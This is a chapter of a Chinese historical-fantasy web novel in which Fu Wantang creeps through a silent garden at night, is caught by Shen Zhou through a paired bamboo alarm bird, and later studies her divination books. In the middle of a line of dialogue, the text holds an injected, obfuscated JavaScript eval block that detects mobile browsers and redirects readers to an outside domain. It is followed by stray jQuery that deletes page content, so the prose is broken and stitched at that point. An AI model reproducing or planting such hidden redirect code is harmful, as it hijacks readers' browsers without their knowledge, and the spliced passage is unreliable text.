月黑风高夜,探园正当时!
傅晚棠只换上了一身便于行动的深色劲装,将一头青丝束在脑后,直接走出房门。
她并非莽撞行事。白日里她曾设计了好几个探园方案,然而无论是翻墙越脊还是穿林过影,最后都被她自己一一否决。无他,只因这偌大的寂园除了西头那位沈老太爷和伺候他的小厮以及她自己,入夜后竟似真的再无半个活人。那些个计划,倒显得她自作多情了。
她站在门口仰头望了望天。浓云遮蔽了本就黯淡的弯月,四下里漆黑一片。唯有她屋内的灯火投下昏黄微弱的光晕,整个寂园其余部分完全沉没在黑暗之中。
她嘀咕了一句:“这也太黑了点…..”
她沿着曲折的回廊往西边走,脚步落在青石板上轻若狸猫,看似气定神闲实则内心忐忑。想她傅晚棠前二十年除了传习本事吃了点不大不小的苦,近两年就算行清秽安灵之事也有姑婆兜底。谁曾想,一道绝煞凶卦劈头盖脸砸下来,就给她搞这寂园来了。
越想越不忿,心神一个恍惚,脚尖踢到一块松动的石板。她一个趔趄,险险扶住廊柱才没摔个结实。她停下来心有余悸地喘了口气,重新审视四周。仍是漆黑可怖,除了风声,唯有自己“砰砰砰”的心跳。她掏出怀里的罗盘,借着微弱月光瞥了一眼,毫无异状,继续往前走。
越往里她的脚程越快,脚步也更轻。几乎是足不点地一鼓作气的穿过一小片稀疏的竹林,终见这沈老太爷屋子的庐山真面目。白日里那股若有似无的药味便是从这里散发出来的。屋子形制与自己那栋并无太大差异,只是此刻光线晦涩,细节难辨。傅晚棠心道:下次定要寻个白日过来才好。
四周空寂无人,但她仍不敢大意,闪身猫到一株粗壮老槐树的主干之后,这才小心翼翼地探出半个脑袋,鬼鬼祟祟地朝那边望去。
房间门窗紧闭,似有微弱烛光外泄,里头安静。不知除了沈老太爷还几人服侍。她想总会有人守夜需得再小心一点才是。此时此刻她反倒比在来的路上时镇定多了,再一次掏出罗盘,仍是没有异动。
她右脚试探性地向前轻轻踏出一步,落脚处恰好踩中一根被风吹落的枯枝。“嘎吱”一声惊的她浑身一僵,还没来得及自嘲自己吓自己就又是“吱呀”一声,几乎在枯枝断裂声落下的瞬间,对面紧闭的房门被从里面拉开,一个人影出现在门口,并未走下台阶,就那么直挺挺地站着,目光扫向槐树的方向。
怎么是他?
傅晚棠头皮发麻,身体绷得更紧,纹丝不动,想等着那人先行离开。
不料那人却先开口了:“谁在那里?”
被发现了?自己这身手什么时候变得如此不济了?一瞬间千头万绪闪过,学声猫叫?太傻!转身就跑?更蠢!她内心自嘲今日太夫人恐怕要阴沟里翻船也!
咦?太夫人?!我是这沈家的太夫人啊!在自己家里,我鬼鬼祟祟个什么劲儿?!
只要自己不尴尬,尴尬的就是别人对吧!
她非但没把脚收回来,反而就着那迈出一步的姿势,大大方方地从槐树阴影里走了出来,和那人打了个照面。
“原来是太夫人!”
对对对,就等你说这句话,本太夫人先发制人,反客为主:“好巧!沈大老爷怎会在此处。”
沈舟嘴角几不可察地抽动了一下:“老太爷年事极高,性情喜静,却又不喜旁人近身,是故夜晚大多由我在此处服侍。”
傅晚棠嘴角也跟着一抽。原来大太太口中那个“唯一近身伺候的小厮”指的竟是沈家堂堂家主沈大老爷!这份孝心委实是感天动地,日月可鉴!等到老太爷百年,府台大人不给沈大老爷颁个“天下第一孝子贤孙”的鎏金大匾都说不过去!
“沈大老爷孝心可彰日月,实乃沈家表率!”她语气真挚。
这回轮到沈舟发问:“更深露重,太夫人何故在此?”
傅晚棠借此机会上前,走到台阶下与沈舟隔着几级台阶并排而立,摆出一副打算寒暄的架势。
“今晚月明星稀…..”
沈舟下意识抬头,只看到浓云密布,月隐星沉。
“风和气清…..”
一阵冷风刮来,沈舟被呛了一口,差点咳出声来。
他正欲听傅晚棠如何讲下去的时候就见她在自己袖袋里左掏右掏,最后竟摸出一个小小的压得有些扁平的油纸包来。
傅晚棠道:“想到今日重阳,吃着庄里送来的重阳糕,便不由得念起家中姑婆。老人家年纪大了,我这做晚辈的不能在跟前尽孝,心中实在愧疚难安。”她语气低落,“思来想去,便想着来看看沈老太爷。请他尝一尝这重阳糕。”说着便要作势踏上台阶。
沈舟心中无语凝噎。这重阳糕本就是沈家厨房做的!你要表孝心,白日里正大光明地来不行?非得挑这三更半夜的时候?
他道:“太夫人纯孝之心令人感佩。您大可放心,今日重阳府中早已备下各色节礼,其中上好的重阳糕已着人快马送往府上奉于傅老太太案前了。”他顿了顿,继续道:“至于老太爷这边他老人家年事太高,脾胃极弱,如今只能进些流质汤水和极软烂易克化的米粥,莫说这糕点,便是寻常饭食也早已无法消受。太夫人的心意在下心领了,也必定会代为转达。”
傅晚棠做出了然的神色,点点头:“是这话!是这话!倒是我思虑不周,莽撞了。”她一边说着,一边极其自然地拆开了那个油纸包,沈舟一看竟然真的是三块压的有些变形重阳糕。
沈舟:“…..”
傅晚棠倒真有些饿了,自顾自拈起一块大大方方地塞进嘴里,还顺手将油纸包往沈舟面前递了递,问:“大老爷守夜辛苦,可要来一块垫垫肚子?”
沈舟连忙摆手:“多谢太夫人,不必了。”他心中嘀咕,还是前番接触的不多,万没想到这傅家女的真性情竟是如此跳脱,忒不沉稳!明明白日里拜见之礼的时候还尚可。
傅晚棠不知沈舟心中所想,又开口:“只是我有一事不明,心中好奇。老太爷喜静,所以我过来时脚步有意放轻,几不可闻,以免惊扰到他。可大老爷如何发现我在此处的呢。”
沈舟心下了然,他抬手指向廊檐下一处阴影:“太夫人请看那里。”
傅晚棠依言抬头,顺着他手指的方向仔细看去。只见檐角下方悬吊着一个由细竹篾精巧编织而成的鸟雀形状物件。
沈舟解释:“此物名唤知知鸟,本是一对。屋外悬挂一只,屋内亦有一只。双身虽不在一处,气息却浑然一体,彼此相连。若有活物靠近屋外这只丈许之内,它便会自行摆动,而屋内那一只,亦会随之共振。”
傅晚棠真心叹服:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230924|181777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“竟有如此奇巧之物!心思之妙,令人叹服!不知此物何处可寻?晚棠也想在住处安置一对。”
“那倒是不巧了。”沈舟遗憾地摇摇头,“此乃观星客的手笔,只是这观星客向来如闲云野鹤,踪迹飘渺不定。自前次为老太爷之事卜算指点后,便已云游他方归期难料。太夫人所想只能静待机缘了。”
傅晚棠嘴角又是一抽,这也观星客,那也观星客,这观星客委实是块砖,哪里需要哪里搬,反正只要是解释不了的事就都是观星客干的呗!这不是冤大头又是什么!傅晚棠心里简直要为这素未谋面的观星客掬上三大捧同情泪。
话已至此,傅晚棠一时间也找不到其他话题。两个人就这么一个在台阶上,一个在台阶下,隔着几步距离相对无言。尴尬的气息弥漫开来,像是在比谁能更能沉得住气似的。傅晚棠阅历上毕竟差了一辈,定力稍显不足,终败下阵来:“天色不早了,既然老太爷无法消克这重阳糕,我也就不多打扰了。告辞。”
沈舟颔首:“多谢太夫人美意,太夫人的心意我必定会传达给老太爷。”
傅晚棠向前一步:“大老爷留步,不必相送。”
“太夫人慢行,园中路暗仔细脚下。”
傅晚棠不再回头,沈舟站在檐下,目送傅晚棠离去,直至傅晚棠的身影消失在夜色里他才转身进屋。知知鸟悬在檐下不再晃动。
傅晚棠几乎是飘回自己房间的,一头栽倒在床上。她抬起双手用力搓了搓自己的脸颊,感觉像是在做一场光怪陆离的梦。只盼下一刻梦醒自己就躺在家中那张熟悉的木床上。
思及方才那番厚颜无耻的操作,她忍不住把脸埋进被子里闷闷地哀叹一声:“这人啊,不逼一逼平时还真不知道自己的脸皮潜力在哪里。经此一役,傅晚棠啊傅晚棠你这脸皮怕是要比沈家大门还要厚上三尺呐!以前怎么就没发现自己还有这等天赋异禀呢!”
嗯,都是逼出来的!
自己嘀咕一会,她又把罗盘掏出来。她打开,关上,再打开,再关上,反复几次,对着纹丝不动的磁针没好气地低语:“你也是个不中用的摆设!”
话一出口,又觉得自己迁怒一个物件实在没道理。她翻身坐起趿拉着鞋走到屋内那个雕花衣橱旁,打开底层一个上锁的抽屉。里面是她从傅家带来的唯一一口箱子,自己吃饭的家伙什全在里面了。她从中取出一个用细棉布包裹得严严实实的长条物件,以及三本足有一寸厚的古籍。
解开棉布露出里面一个比常用罗盘大上一圈材质非金非玉入手温润沉重,盘面符文精密的罗盘,这便是“不惑”,临行前姑婆郑重交给她的。
“不是罗盘没用,是自己学艺不精啊!”她摩挲着不惑的盘面喃喃自语。以她现在的道行,就算使用的是不惑,恐怕也解不了眼前这寂园的“惑”啊……
她把不惑放在床边案几上,拿起那三本沉甸甸的书册。
“《地脉辨气考》,《九言阵枢通解》,《灵犀指微录》”傅晚棠念着书名,想起自己往日里翻看这些典籍时,总是三天打鱼两天晒网,不由得一阵脸热,悔意涌上心头,“这就叫书到用时方恨少,今后需更加用功才是!”
她立时便开始翻书苦读,什么时辰睡着的都不知道。次日醒来发丝凌乱,手里还抓着十几根落发,顿觉天都塌了,这就学业不精的代价吗!